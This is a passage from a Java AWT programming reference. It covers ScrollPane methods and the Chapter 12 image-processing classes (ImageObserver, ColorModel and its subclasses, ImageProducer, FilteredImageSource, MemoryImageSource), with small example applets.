This setScrollPosition() method moves the ScrollPane to the designated location if possible. The x and y arguments are scrollbar settings, which should be interpreted in terms of the minimum and maximum values given to you by the horizontal and vertical Adjustable objects (returned by the previous two methods). If the ScrollPane does not have a child component, this method throws the run-time exception NullPointerException. You can also move the ScrollPane by calling the Adjustable.setValue() method of one of the scrollpane's Adjustable objects.

public void setScrollPosition(Point p) (New)

This setScrollPosition() method calls the previous with parameters of p.x, and p.y.

public Point getScrollPosition() (New)

The getScrollPosition() method returns the current position of both the scrollpane's Adjustable objects as a Point. If there is no component within the ScrollPane, getScrollPosition() throws the NullPointerException run-time exception. Another way to get this information is by calling the Adjustable.getValue() method of each Adjustable object.

Miscellaneous methods

public void printComponents (Graphics g) (New)

The printComponents() method of ScrollPane prints the single component it contains. This is done by clipping the context g to the size of the display area and calling the contained component's printAll() method.

public synchronized void addNotify () (New)

The addNotify() method creates the ScrollPane peer. If you override this method, call super.addNotify() first, then add your customizations for the new class. You will then be able to do everything you need with the information about the newly created peer.

protected String paramString () (New)

ScrollPane doesn't have its own toString() method; so when you call the toString() method of a ScrollPane, you are actually calling the Component.toString() method. This in turn calls paramString(), which builds the string to display. For a ScrollPane, paramString() adds the current scroll position, insets, and scrollbar display policy. For example:

java.awt.ScrollPane[scrollpane0,0,0,0x0,invalid,ScrollPosition=(0,0),
         Insets=(0,0,0,0),ScrollbarDisplayPolicy=always]

ScrollPane Events

The ScrollPane peer deals with the scrolling events for you. It is not necessary to catch or listen for these events. As with any other Container, you can handle the 1.0 events of the object you contain or listen for 1.1 events that happen within you.

Using a ScrollPane

The following applet demonstrates one way to use a ScrollPane. Basically, you place the object you want to scroll in the ScrollPane by calling the add() method. This can be a Panel with many objects on it or a Canvas with an image drawn on it. You then add as many objects as you want to the Panel or scribble on the Canvas to your heart's delight. No scrolling event handling is necessary. That is all there is to it. To make this example a little more interesting, whenever you select a button, the ScrollPane scrolls to a randomly selected position. Figure 11.4 displays the screen.

Figure 11.4: A ScrollPane containing many buttons

[Graphic: Figure 11-4]

Here's the code:

// Java 1.1 only
import java.awt.*;
import java.awt.event.*;
import java.applet.*;
public class scroll extends Applet implements ActionListener, ContainerListener {
    ScrollPane sp = new ScrollPane (ScrollPane.SCROLLBARS_ALWAYS);
    public void init () {
        setLayout (new BorderLayout ());
        Panel p = new Panel(new GridLayout (7, 8));
        p.addContainerListener (this);
        for (int j=0;j<50;j++)
            p.add (new Button ("Button-" + j));
        sp.add (p);
        add (sp, "Center");
    }
    public void componentAdded(ContainerEvent e) {
        if (e.getID() == ContainerEvent.COMPONENT_ADDED) {
            if (e.getChild() instanceof Button) {
                Button b = (Button)e.getChild();
                b.addActionListener(this);
            }
        }
    }
    public void componentRemoved(ContainerEvent e) {
    }
    public void actionPerformed (ActionEvent e) {
        Component c = sp.getComponent();
            Dimension d = c.getSize();
            sp.setScrollPosition ((int)(Math.random()*d.width),
                (int)(Math.random()*d.height));
    }
}

Working with the ScrollPane itself is easy; we just create one, add a Panel to it, set the Panel's layout manager to GridLayout, and add a lot of buttons to the Panel. The applet itself is the action listener for all the buttons; when anybody clicks a button, actionPerformed() is called, which generates a new random position based on the viewport size and sets the new scrolling position accordingly by calling setScrollPosition().

The more interesting part of this applet is the way it works with buttons. Instead of directly adding a listener for each button, we add a ContainerListener to the containing panel and let it add listeners. Although this may seem like extra work here, it demonstrates how you can use container events to take actions whenever someone adds or removes a component. At first glance, you might ask why I didn't just call enableEvents(AWTEvent.CONTAINER_EVENT_MASK) and override the applet's processContainerEvent() to attach the listeners. If we were only adding our components to the applet, that would work great. Unfortunately, the applet is not notified when buttons are added to an unrelated panel. It would be notified only when the panel was added to the applet.

Previous | Home | Next
The Adjustable Interface | Book Index | Image Processing
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 12] Image Processing

Previous Chapter 12 Next

12. Image Processing

Contents:
ImageObserver
ColorModel
ImageProducer
ImageConsumer
ImageFilter

The image processing parts of Java are buried within the java.awt.image package. The package consists of three interfaces and eleven classes, two of which are abstract. They are as follows:

  • The ImageObserver interface provides the single method necessary to support the asynchronous loading of images. The interface implementers watch the production of an image and can react when certain conditions arise. We briefly touched on ImageObserver when we discussed the Component class (in Chapter 5, Components), because Component implements the interface.

  • The ImageConsumer and ImageProducer interfaces provide the means for low level image creation. The ImageProducer provides the source of the pixel data that is used by the ImageConsumer to create an Image.

  • The PixelGrabber and ImageFilter classes, along with the AreaAveragingScaleFilter, CropImageFilter, RGBImageFilter, and ReplicateScaleFilter subclasses, provide the tools for working with images. PixelGrabber consumes pixels from an Image into an array. The ImageFilter classes modify an existing image to produce another Image instance. CropImageFilter makes smaller images; RGBImageFilter alters pixel colors, while AreaAveragingScaleFilter and ReplicateScaleFilter scale images up and down using different algorithms. All of these classes implement ImageConsumer because they take pixel data as input.

  • MemoryImageSource and FilteredImageSource produce new images. MemoryImageSource takes an array and creates an image from it. FilteredImageSource uses an ImageFilter to read and modify data from another image and produces the new image based on the original. Both MemoryImageSource and FilteredImageSource implement ImageProducer because they produce new pixel data.

  • ColorModel and its subclasses, DirectColorModel and IndexColorModel, provide the palette of colors available when creating an image or tell you the palette used when using PixelGrabber.

The classes in the java.awt.image package let you create Image objects at run-time. These classes can be used to rotate images, make images transparent, create image viewers for unsupported graphics formats, and more.

12.1 ImageObserver

As you may recall from Chapter 2, Simple Graphics, the last parameter to the drawImage() method is the image's ImageObserver. However, in Chapter 2, Simple Graphics I also said that you can use this as the image observer and forget about it. Now it's time to ask the obvious questions: what is an image observer, and what is it for?

Because getImage() acquires an image asynchronously, the entire Image object might not be fully loaded when drawImage() is called. The ImageObserver interface provides the means for a component to be told asynchronously when additional information about the image is available. The Component class implements the imageUpdate() method (the sole method of the ImageObserver interface), so that method is inherited by any component that renders an image. Therefore, when you call drawImage(), you can pass this as the final argument; the component on which you are drawing serves as the ImageObserver for the drawing process. The communication between the image observer and the image consumer happens behind the scenes; you never have to worry about it, unless you want to write your own imageUpdate() method that does something special as the image is being loaded.

If you call drawImage() to display an image created in local memory (either for double buffering or from a MemoryImageSource), you can set the ImageObserver parameter of drawImage() to null because no asynchrony is involved; the entire image is available immediately, so an ImageObserver isn't needed.

ImageObserver Interface

Constants

The various flags associated with the ImageObserver are used for the infoflags argument to imageUpdate(). The flags indicate what kind of information is available and how to interpret the other arguments to imageUpdate(). Two or more flags are often combined (by an OR operation) to show that several kinds of information are available.

public static final int WIDTH

When the WIDTH flag is set, the width argument to imageUpdate() correctly indicates the image's width. Subsequent calls to getWidth() for the Image return the valid image width. If you call getWidth() before this flag is set, expect it to return -1.

public static final int HEIGHT

When the HEIGHT flag is set, the height argument to imageUpdate() correctly indicates the image's height. Subsequent calls to getHeight() for the Image return the valid image height. If you call getHeight() before this flag is set, expect it to return -1.

public static final int PROPERTIES

When the PROPERTIES flag is set, the image's properties are available. Subsequent calls to getProperty() return valid image properties.

public static final int SOMEBITS

When the SOMEBITS flag of infoflags (from imageUpdate()) is set, the image has started loading and at least some of its content are available for display. When this flag is set, the x, y, width, and height arguments to imageUpdate() indicate the bounding rectangle for the portion of the image that has been delivered so far.

public static final int FRAMEBITS

When the FRAMEBITS flag of infoflags is set, a complete frame of a multiframe image has been loaded and can be drawn. The remaining parameters to imageUpdate() should be ignored (x, y, width, height).

public static final int ALLBITS

When the ALLBITS flag of infoflags is set, the image has been completely loaded and can be drawn. The remaining parameters to imageUpdate() should be ignored (x, y, width, height).

public static final int ERROR

When the ERROR flag is set, the production of the image has stopped prior to completion because of a severe problem. ABORT may or may not be set when ERROR is set. Attempts to reload the image will fail. You might get an ERROR because the URL of the Image is invalid (file not found) or the image file itself is invalid (invalid size/content).

public static final int ABORT

When the ABORT flag is set, the production of the image has aborted prior to completion. If ERROR is not set, a subsequent attempt to draw the image may succeed. For example, an image would abort without an error if a network error occurred (e.g., a timeout on the HTTP connection).

Method

public boolean imageUpdate (Image image, int infoflags, int x, int y, int width, int height)

The imageUpdate() method is the sole method in the ImageObserver interface. It is called whenever information about an image becomes available. To register an image observer for an image, pass an object that implements the ImageObserver interface to getWidth(), getHeight(), getProperty(), prepareImage(), or drawImage().

The image parameter to imageUpdate() is the image being rendered on the observer. The infoflags parameter is a set of ImageObserver flags ORed together to signify the current information available about image. The meaning of the x, y, width, and height parameters depends on the current infoflags settings.

Implementations of imageUpdate() should return true if additional information about the image is desired; returning false means that you don't want any additional information, and consequently, imageUpdate() should not be called in the future for this image. The default imageUpdate() method returns true if neither ABORT nor ALLBITS are set in the infoflags--that is, the method imageUpdate() is interested in further information if no errors have occurred and the image is not complete. If either flag is set, imageUpdate() returns false.

You should not call imageUpdate() directly--unless you are developing an ImageConsumer, in which case you may find it worthwhile to override the default imageUpdate() method, which all components inherit from the Component class.

Overriding imageUpdate

Instead of bothering with the MediaTracker class, you can override the imageUpdate() method and use it to notify you when an image is completely loaded. Example 12.1 demonstrates the use of imageUpdate(), along with a way to force your images to load immediately. Here's how it works: the init() method calls getImage() to request image loading at some time in the future. Instead of waiting for drawImage() to trigger the loading process, init() forces loading to start by calling prepareImage(), which also registers an image observer. prepareImage() is a method of the Component class discussed in Chapter 5, Components.

The paint() method doesn't attempt to draw the image until the variable loaded is set to true. The imageUpdate() method checks the infoflags argument to see whether ALLBITS is set; when it is set, imageUpdate() sets loaded to true, and schedules a call to paint(). Thus, paint() doesn't call drawImage() until the method imageUpdate() has discovered that the image is fully loaded.

Example 12.1: imageUpdate Override.

import java.applet.*;
import java.awt.*;
import java.awt.image.ImageObserver;
public class imageUpdateOver extends Applet {
    Image image;
    boolean loaded = false;
    public void init () {
        image = getImage (getDocumentBase(), "rosey.jpg");
        prepareImage (image, -1, -1, this);
    }
    public void paint (Graphics g) {
        if (loaded)
            g.drawImage (image, 0, 0, this);
    }
    public void update (Graphics g) {
        paint (g);
    }
    public synchronized boolean imageUpdate (Image image, int infoFlags,
                        int x, int y, int width, int height) {
        if ((infoFlags & ImageObserver.ALLBITS) != 0) {
            loaded = true;
            repaint();
            return false;
        } else {
            return true;
        }
    }
}

Note that the call to prepareImage() is absolutely crucial. It is needed both to start image loading and to register the image observer. If prepareImage() were omitted, imageUpdate() would never be called, loaded would not be set, and paint() would never attempt to draw the image. As an alternative, you could use the MediaTracker class to force loading to start and monitor the loading process; that approach might give you some additional flexibility.

Previous | Home | Next
ScrollPane | Book Index | ColorModel
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 12] 12.2 ColorModel

Previous Chapter 12
Image Processing 		Next

12.2 ColorModel

A color model determines how colors are represented within AWT. ColorModel is an abstract class that you can subclass to specify your own representation for colors. AWT provides two concrete subclasses of ColorModel that you can use to build your own color model; they are DirectColorModel and IndexColorModel. These two correspond to the two ways computers represent colors internally.

Most modern computer systems use 24 bits to represent each pixel. These 24 bits contain 8 bits for each primary color (red, green, blue); each set of 8 bits represents the intensity of that color for the particular pixel. This arrangement yields the familiar "16 million colors" that you see in advertisements. It corresponds closely to Java's direct color model.

However, 24 bits per pixel, with something like a million pixels on the screen, adds up to a lot of memory. In the dark ages, memory was expensive, and devoting this much memory to a screen buffer cost too much. Therefore, designers used fewer bits--possibly as few as three, but more often eight--for each pixel. Instead of representing the colors directly in these bits, the bits were an index into a color map. Graphics programs would load the color map with the colors they were interested in and then represent each pixel by using the index of the appropriate color in the map. For example, the value 1 might represent fuschia; the value 2 might represent puce. Full information about how to display each color (the red, green, and blue components that make up fuschia or puce) is contained only in the color map. This arrangement corresponds closely to Java's indexed color model.

Because Java is platform-independent, you don't need to worry about how your computer or the user's computer represents colors. Your programs can use an indexed or direct color map as appropriate. Java will do the best it can to render the colors you request. Of course, if you use 5,000 colors on a computer that can only display 256, Java is going to have to make compromises. It will decide which colors to put in the color map and which colors are close enough to the colors in the color map, but that's done behind your back.

Java's default color model uses 8 bits per pixel for red, green, and blue, along with another 8 bits for alpha (transparency) level. However, as I said earlier, you can create your own ColorModel if you want to work in some other scheme. For example, you could create a grayscale color model for black and white pictures, or an HSB (hue, saturation, brightness) color model if you are more comfortable working with this system. Your color model's job will be to take a pixel value in your representation and translate that value into the corresponding alpha, red, green, and blue values. If you are working with a grayscale image, your image producer could deliver grayscale values to the image consumer, plus a ColorModel that tells the consumer how to render these gray values in terms of ARGB components.

ColorModel Methods

Constructors

public ColorModel (int bits)

There is a single constructor for ColorModel. It has one parameter, bits, which describes the number of bits required per pixel of an image. Since this is an abstract class, you cannot call this constructor directly. Since each pixel value must be stored within an integer, the maximum value for bits is 32. If you request more, you get 32.

Pseudo-constructors

public static ColorModel getRGBdefault()

The getRGBdefault() method returns the default ColorModel, which has 8 bits for each of the components alpha, red, green, and blue. The order the pixels are stored in an integer is 0xAARRGGBB, or alpha in highest order byte, down to blue in the lowest.

Other methods

public int getPixelSize ()

The getPixelSize() method returns the number of bits required for each pixel as described by this color model. That is, it returns the number of bits passed to the constructor.

public abstract int getAlpha (int pixel)

The getAlpha() method returns the alpha component of pixel for a color model. Its range must be between 0 and 255, inclusive. A value of 0 means the pixel is completely transparent and the background will appear through the pixel. A value of 255 means the pixel is opaque and you cannot see the background behind it.

public abstract int getRed (int pixel)

The getRed() method returns the red component of pixel for a color model. Its range must be between 0 and 255, inclusive. A value of 0 means the pixel has no red in it. A value of 255 means red is at maximum intensity.

public abstract int getGreen (int pixel)

The getGreen() method returns the green component of pixel for a color model. Its range must be between 0 and 255, inclusive. A value of 0 means the pixel has no green in it. A value of 255 means green is at maximum intensity.

public abstract int getBlue (int pixel)

The getBlue() method returns the blue component of pixel for a color model. Its range must be between 0 and 255, inclusive. A value of 0 means the pixel has no blue in it. A value of 255 means blue is at maximum intensity.

public int getRGB(int pixel)

The getRGB() method returns the color of pixel in the default RGB color model. If a subclass has changed the ordering or size of the different color components, getRGB() will return the pixel in the RGB color model (0xAARRGGBB order). In theory, the subclass does not need to override this method, unless it wants to make it final. Making this method final may yield a significant performance improvement.

public void finalize ()

The garbage collector calls finalize() when it determines that the ColorModel object is no longer needed. finalize() frees any internal resources that the ColorModel object has used.

DirectColorModel

The DirectColorModel class is a concrete subclass of ColorModel. It specifies a color model in which each pixel contains all the color information (alpha, red, green, and blue values) explicitly. Pixels are represented by 32-bit (int) quantities; the constructor lets you change which bits are allotted to each component.

All of the methods in this class, except constructors, are final, because of assumptions made by the implementation. You can create subclasses of DirectColorModel, but you can't override any of its methods. However, you should not need to develop your own subclass. Just create an instance of DirectColorModel with the appropriate constructor. Any subclassing results in serious performance degradation, because you are going from fast, static final method calls to dynamic method lookups.Constructors

public DirectColorModel (int bits, int redMask, int greenMask, int blueMask, int alphaMask)

This constructor creates a DirectColorModel in which bits represents the total number of bits used to represent a pixel; it must be less than or equal to 32. The redMask, greenMask, blueMask, and alphaMask specify where in a pixel each color component exists. Each of the bit masks must be contiguous (e.g., red cannot be the first, fourth, and seventh bits of the pixel), must be smaller than 2^bits, and should not exceed 8 bits. (You cannot display more than 8 bits of data for any color component, but the mask can be larger.) Combined, the masks together should be bits in length. The default RGB color model is:

new DirectColorModel (32, 0x00ff0000, 0x0000ff00, 0x000000ff, 0xff000000)

The run-time exception IllegalArgumentException is thrown if any of the following occur:

  • The bits that are set in a mask are not contiguous.

  • Mask bits overlap (i.e., the same bit is set in two or more masks).

  • The number of mask bits exceeds bits.

public DirectColorModel (int bits, int redMask, int greenMask, int blueMask)

This constructor for DirectColorModel calls the first with an alpha mask of 0, which means that colors in this color model have no transparency component. All colors will be fully opaque with an alpha value of 255. The same restrictions for the red, green, and blue masks apply.

Methods

final public int getAlpha (int pixel)

The getAlpha() method returns the alpha component of pixel for the color model as a number from 0 to 255, inclusive. A value of 0 means the pixel is completely transparent, and the background will appear through the pixel. A value of 255 means the pixel is opaque, and you cannot see the background behind it.

final public int getRed (int pixel)

The getRed() method returns the red component of pixel for the color model. Its range is from 0 to 255. A value of 0 means the pixel has no red in it. A value of 255 means red is at maximum intensity.

final public int getGreen (int pixel)

The getGreen() method returns the green component of pixel for the color model. Its range is from 0 to 255. A value of 0 means the pixel has no green in it. A value of 255 means green is at maximum intensity.

final public int getBlue (int pixel)

The getBlue() method returns the blue component of pixel for the color model. Its range is from 0 to 255. A value of 0 means the pixel has no blue in it. A value of 255 means blue is at maximum intensity.

final public int getRGB (int pixel)

The getRGB() method returns the color of pixel in the default RGB color model. If a subclass has changed the ordering or size of the different color components, getRGB() will return the pixel in the RGB color model (0xAARRGGBB order). The getRGB() method in this subclass is identical to the method in ColorModel but overrides it to make it final.

Other methods

final public int getAlphaMask ()

The getAlphaMask() method returns the alphaMask from the DirectColorModel constructor (or 0 if constructor did not have alphaMask). The alphaMask specifies which bits in the pixel represent the alpha transparency component of the color model.

final public int getRedMask ()

The getRedMask() method returns the redMask from the DirectColorModel constructor. The redMask specifies which bits in the pixel represent the red component of the color model.

final public int getGreenMask ()

The getGreenMask() method returns the greenMask from the DirectColorModel constructor. The greenMask specifies which bits in the pixel represent the green component of the color model.

final public int getBlueMask ()

The getBlueMask() method returns the blueMask from the DirectColorModel constructor. The blueMask specifies which bits in the pixel represent the blue component of the color model.

IndexColorModel

The IndexColorModel is another concrete subclass of ColorModel. It specifies a ColorModel that uses a color map lookup table (with a maximum size of 256), rather than storing color information in the pixels themselves. Pixels are represented by an index into the color map, which is at most an 8-bit quantity. Each entry in the color map gives the alpha, red, green, and blue components of some color. One entry in the map can be designated "transparent." This is called the "transparent pixel"; the alpha component of this map entry is ignored.

All of the methods in this class, except constructors, are final because of assumptions made by the implementation. You shouldn't need to create subclasses; you can if necessary, but you can't override any of the IndexColorModel methods. Example 12.2 (later in this chapter) uses an IndexColorModel. Constructors

There are two sets of constructors for IndexColorModel. The first two constructors use a single-byte array for the color map. The second group implements the color map with separate byte arrays for each color component.

public IndexColorModel (int bits, int size, byte colorMap[], int start, boolean hasalpha, int transparent)

This constructor creates an IndexColorModel. bits is the number of bits used to represent each pixel and must not exceed 8. size is the number of elements in the map; it must be less than 2^bits. hasalpha should be true if the color map includes alpha (transparency) components and false if it doesn't. transparent is the location of the transparent pixel in the map (i.e., the pixel value that is considered transparent). If there is no transparent pixel, set transparent to -1.

The colorMap describes the colors used to paint pixels. start is the index within the colorMap array at which the map begins; prior elements of the array are ignored. An entry in the map consists of three or four consecutive bytes, representing the red, green, blue, and (optionally) alpha components. If hasalpha is false, a map entry consists of three bytes, and no alpha components are present; if hasalpha is true, map entries consist of four bytes, and all four components must be present.

For example, consider a pixel whose value is p, and a color map with a hasalpha set to false. Therefore, each element in the color map occupies three consecutive array elements. The red component of that pixel will be located at colorMap[start + 3*p]; the green component will be at colorMap[start + 3*p + 1]; and so on. The value of size may be smaller than 2^bits, meaning that there may be pixel values with no corresponding entry in the color map. These pixel values (i.e., size <= p < 2^bits) are painted with the color components set to 0; they are transparent if hasalpha is true, opaque otherwise.

If bits is too large (greater than 8), size is too large (greater than 2^bits), or the colorMap array is too small to hold the map, the run-time exception ArrayIndexOutOfBoundsException will be thrown.

public IndexColorModel (int bits, int size, byte colorMap[], int start, boolean hasalpha)

This version of the IndexColorModel constructor calls the previous constructor with a transparent index of -1; that is, there is no transparent pixel. If bits is too large (greater than 8), or size is too large (greater than 2^bits), or the colorMap array is too small to hold the map, the run-time exception, ArrayIndexOutOfBoundsException will be thrown.

public IndexColorModel (int bits, int size, byte red[], byte green[], byte blue[], int transparent)

The second set of constructors for IndexColorModel is similar to the first group, with the exception that these constructors use three or four separate arrays (one per color component) to represent the color map, instead of a single array.

The bits parameter still represents the number of bits in a pixel. size represents the number of elements in the color map. transparent is the location of the transparent pixel in the map (i.e., the pixel value that is considered transparent). If there is no transparent pixel, set transparent to -1.

The red, green, and blue arrays contain the color map itself. These arrays must have at least size elements. They contain the red, green, and blue components of the colors in the map. For example, if a pixel is at position p, red[p] contains the pixel's red component; green[p] contains the green component; and blue[p] contains the blue component. The value of size may be smaller than 2^bits, meaning that there may be pixel values with no corresponding entry in the color map. These pixel values (i.e., size <= p < 2^bits) are painted with the color components set to 0.

If bits is too large (greater than 8), size is too large (greater than 2^bits), or the red, green, and blue arrays are too small to hold the map, the run-time exception ArrayIndexOutOfBoundsException will be thrown.

public IndexColorModel (int bits, int size, byte red[], byte green[], byte blue[])

This version of the IndexColorModel constructor calls the previous one with a transparent index of -1; that is, there is no transparent pixel. If bits is too large (greater than 8), size is too large (greater than 2^bits), or the red, green, and blue arrays are too small to hold the map, the run-time exception ArrayIndexOutOfBoundsException will be thrown.

public IndexColorModel (int bits, int size, byte red[], byte green[], byte blue[], byte alpha[])

Like the previous constructor, this version creates an IndexColorModel with no transparent pixel. It differs from the previous constructor in that it supports transparency; the array alpha contains the map's transparency values. If bits is too large (greater than 8), size is too large (greater than 2^bits), or the red, green, blue, and alpha arrays are too small to hold the map, the run-time exception ArrayIndexOutOfBoundsException will be thrown.

Methods

final public int getAlpha (int pixel)

The getAlpha() method returns the alpha component of pixel for a color model, which is a number between 0 and 255, inclusive. A value of 0 means the pixel is completely transparent and the background will appear through the pixel. A value of 255 means the pixel is opaque and you cannot see the background behind it.

final public int getRed (int pixel)

The getRed() method returns the red component of pixel for a color model, which is a number between 0 and 255, inclusive. A value of 0 means the pixel has no red in it. A value of 255 means red is at maximum intensity.

final public int getGreen (int pixel)

The getGreen() method returns the green component of pixel for a color model, which is a number between 0 and 255, inclusive. A value of 0 means the pixel has no green in it. A value of 255 means green is at maximum intensity.

final public int getBlue (int pixel)

The getBlue() method returns the blue component of pixel for a color model, which is a number between 0 and 255, inclusive. A value of 0 means the pixel has no blue in it. A value of 255 means blue is at maximum intensity.

final public int getRGB (int pixel)

The getRGB() method returns the color of pixel in the default RGB color model. If a subclass has changed the ordering or size of the different color components, getRGB() will return the pixel in the RGB color model (0xAARRGGBB order). This version of getRGB is identical to the version in the ColorModel class but overrides it to make it final.

Other methods

final public int getMapSize()

The getMapSize() method returns the size of the color map (i.e., the number of distinct colors).

final public int getTransparentPixel ()

The getTransparentPixel() method returns the color map index for the transparent pixel in the color model. If no transparent pixel exists, it returns -1. It is not possible to change the transparent pixel after the color model has been created.

final public void getAlphas (byte alphas[])

The getAlphas() method copies the alpha components of the ColorModel into elements 0 through getMapSize()-1 of the alphas array. Space must already be allocated in the alphas array.

final public void getReds (byte reds[])

The getReds() method copies the red components of the ColorModel into elements 0 through getMapSize()-1 of the reds array. Space must already be allocated in the reds array.

final public void getGreens (byte greens[])

The getGreens() method copies the green components of the ColorModel into elements 0 through getMapSize()-1 of the greens array. Space must already be allocated in the greens array.

final public void getBlues (byte blues[])

The getBlues() method copies the blue components of the ColorModel into elements 0 through getMapSize()-1 of the blues array. Space must already be allocated in the blues array.

Previous | Home | Next
ImageObserver | Book Index | ImageProducer
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 12] 12.3 ImageProducer

Previous Chapter 12
Image Processing 		Next

12.3 ImageProducer

The ImageProducer interface defines the methods that ImageProducer objects must implement. Image producers serve as sources for pixel data; they may compute the data themselves or interpret data from some external source, like a GIF file. No matter how it generates the data, an image producer's job is to hand that data to an image consumer, which usually renders the data on the screen. The methods in the ImageProducer interface let ImageConsumer objects register their interest in an image. The business end of an ImageProducer--that is, the methods it uses to deliver pixel data to an image consumer--are defined by the ImageConsumer interface. Therefore, we can summarize the way an image producer works as follows:

  • It waits for image consumers to register their interest in an image.

  • As image consumers register, it stores them in a Hashtable, Vector, or some other collection mechanism.

  • As image data becomes available, it loops through all the registered consumers and calls their methods to transfer the data.

There's a sense in which you have to take this process on faith; image consumers are usually well hidden. If you call createImage(), an image consumer will eventually show up.

Every Image has an ImageProducer associated with it; to acquire a reference to the producer, use the getSource() method of Image.

Because an ImageProducer must call methods in the ImageConsumer interface, we won't show an example of a full-fledged producer until we have discussed ImageConsumer.

ImageProducer Interface

Methods

public void addConsumer (ImageConsumer ic)

The addConsumer() method registers ic as an ImageConsumer interested in the Image information. Once an ImageConsumer is registered, the ImageProducer can deliver Image pixels immediately or wait until startProduction() has been called.

Note that one image may have many consumers; therefore, addConsumer() usually stores image consumers in a collection like a Vector or Hashtable. There is one notable exception: if the producer has the image data in memory, addConsumer() can deliver the image to the consumer immediately. When addConsumer() returns, it has finished with the consumer. In this case, you don't need to manage a list of consumers, because there is only one image consumer at a time. (In this case, addConsumer() should be implemented as a synchronized method.)

public boolean isConsumer (ImageConsumer ic)

The isConsumer() method checks to see if ic is a registered ImageConsumer for this ImageProducer. If ic is registered, true is returned. If ic is not registered, false is returned.

public void removeConsumer (ImageConsumer ic)

The removeConsumer() method removes ic as a registered ImageConsumer for this ImageProducer. If ic was not a registered ImageConsumer, nothing should happen. This is not an error that should throw an exception. Once ic has been removed from the registry, the ImageProducer should no longer send data to it.

public void startProduction (ImageConsumer ic)

The startProduction() method registers ic as an ImageConsumer interested in the Image information and tells the ImageProducer to start sending the Image data immediately. The ImageProducer sends the image data to ic and all other registered ImageConsumer objects, through addConsumer().

public void requestTopDownLeftRightResend (ImageConsumer ic)

The requestTopDownLeftRightResend() method is called by the ImageConsumer ic requesting that the ImageProducer retransmit the Image data in top-down, left-to-right order. If the ImageProducer is unable to send the data in that order or always sends the data in that order (like with MemoryImageSource), it can ignore the call.

FilteredImageSource

The FilteredImageSource class combines an ImageProducer and an ImageFilter to create a new Image. The image producer generates pixel data for an original image. The FilteredImageSource takes this data and uses an ImageFilter to produce a modified version: the image may be scaled, clipped, or rotated, or the colors shifted, etc. The FilteredImageSource is the image producer for the new image. The ImageFilter object transforms the original image's data to yield the new image; it implements the ImageConsumer interface. We cover the ImageConsumer interface in ImageConsumer and the ImageFilter class in ImageFilter. Figure 12.1 shows the relationship between an ImageProducer, FilteredImageSource, ImageFilter, and the ImageConsumer.

Figure 12.1: Image producers, filters, and consumers

[Graphic: Figure 12-1]

Constructors

public FilteredImageSource (ImageProducer original, ImageFilter filter)

The FilteredImageSource constructor creates an image producer that combines an image, original, and a filter, filter, to create a new image. The ImageProducer of the original image is the constructor's first parameter; given an Image, you can acquire its ImageProducer by using the getSource() method. The following code shows how to create a new image from an original. ImageFilter shows several extensive examples of image filters.

Image image = getImage (new URL
      ("http://www.ora.com/graphics/headers/homepage.gif"));
Image newOne = createImage (new FilteredImageSource
      (image.getSource(), new SomeImageFilter()));
ImageProducer interface methods

The ImageProducer interface methods maintain an internal table for the image consumers. Since this is private, you do not have direct access to it.

public synchronized void addConsumer (ImageConsumer ic)

The addConsumer() method adds ic as an ImageConsumer interested in the pixels for this image.

public synchronized boolean isConsumer (ImageConsumer ic)

The isConsumer() method checks to see if ic is a registered ImageConsumer for this ImageProducer. If ic is registered, true is returned. If not registered, false is returned.

public synchronized void removeConsumer (ImageConsumer ic)

The removeConsumer() method removes ic as a registered ImageConsumer for this ImageProducer.

public void startProduction (ImageConsumer ic)

The startProduction() method registers ic as an ImageConsumer interested in the Image information and tells the ImageProducer to start sending the Image data immediately.

public void requestTopDownLeftRightResend (ImageConsumer ic)

The requestTopDownLeftRightResend() method registers ic as an ImageConsumer interested in the Image information and requests the ImageProducer to retransmit the Image data in top-down, left-to-right order.

MemoryImageSource

The MemoryImageSource class allows you to create images completely in memory; you generate pixel data, place it in an array, and hand that array and a ColorModel to the MemoryImageSource constructor. The MemoryImageSource is an image producer that can be used with a consumer to display the image on the screen. For example, you might use a MemoryImageSource to display a Mandelbrot image or some other image generated by your program. You could also use a MemoryImageSource to modify a pre-existing image; use PixelGrabber to get the image's pixel data, modify that data, and then use a MemoryImageSource as the producer for the modified image. Finally, you can use MemoryImageSource to simplify implementation of a new image type; you can develop a class that reads an image in some unsupported format from a local file or the network; interprets the image file and puts pixel data into an array; and uses a MemoryImageSource to serve as an image producer. This is simpler than implementing an image producer yourself, but it isn't quite as flexible; you lose the ability to display partial images as the data becomes available.

In Java 1.1, MemoryImageSource supports multiframe images to animate a sequence. In earlier versions, it was necessary to create a dynamic ImageFilter to animate the image. Constructors

There are six constructors for MemoryImageSource, each with slightly different parameters. They all create an image producer that delivers some array of data to an image consumer. The constructors are:

public MemoryImageSource (int w, int h, ColorModel cm, byte pix[], int off, int scan)
public MemoryImageSource (int w, int h, ColorModel cm, byte pix[], int off, int scan, Hashtable props)
public MemoryImageSource (int w, int h, ColorModel cm, int pix[], int off, int scan)
public MemoryImageSource (int w, int h, ColorModel cm, int pix[], int off, int scan, Hashtable props)
public MemoryImageSource (int w, int h, int pix[], int off, int scan)
public MemoryImageSource (int w, int h, int pix[], int off, int scan, Hashtable props)

The parameters that might be present are:

w

Width of the image being created, in pixels.

h

Height of the image being created, in pixels.

cm

The ColorModel that describes the color representation used in the pixel data. If this parameter is not present, the MemoryImageSource uses the default RGB color model (ColorModel.getRGBDefault()).

pix[]

The array of pixel information to be converted into an image. This may be either a byte array or an int array, depending on the color model. If you're using a direct color model (including the default RGB color model), pix is usually an int array; if it isn't, it won't be able to represent all 16 million possible colors. If you're using an indexed color model, the array should be a byte array. However, if you use an int array with an indexed color model, the MemoryImageSource ignores the three high-order bytes because an indexed color model has at most 256 entries in the color map. In general: if your color model requires more than 8 bits of data per pixel, use an int array; if it requires 8 bits or less, use a byte array.

off

The first pixel used in the array (usually 0); prior pixels are ignored.

scan

The number of pixels per line in the array (usually equal to w). The number of pixels per scan line in the array may be larger than the number of pixels in the scan line. Extra pixels in the array are ignored.

props

A Hashtable of the properties associated with the image. If this argument isn't present, the constructor assumes there are no properties.

The pixel at location (x, y) in the image is located at pix[y * scan + x + off]. ImageProducer interface methods

In Java 1.0, the ImageProducer interface methods maintain a single internal variable for the image consumer because the image is delivered immediately and synchronously. There is no need to worry about multiple consumers; as soon as one registers, you give it the image, and you're done. These methods keep track of this single ImageConsumer.

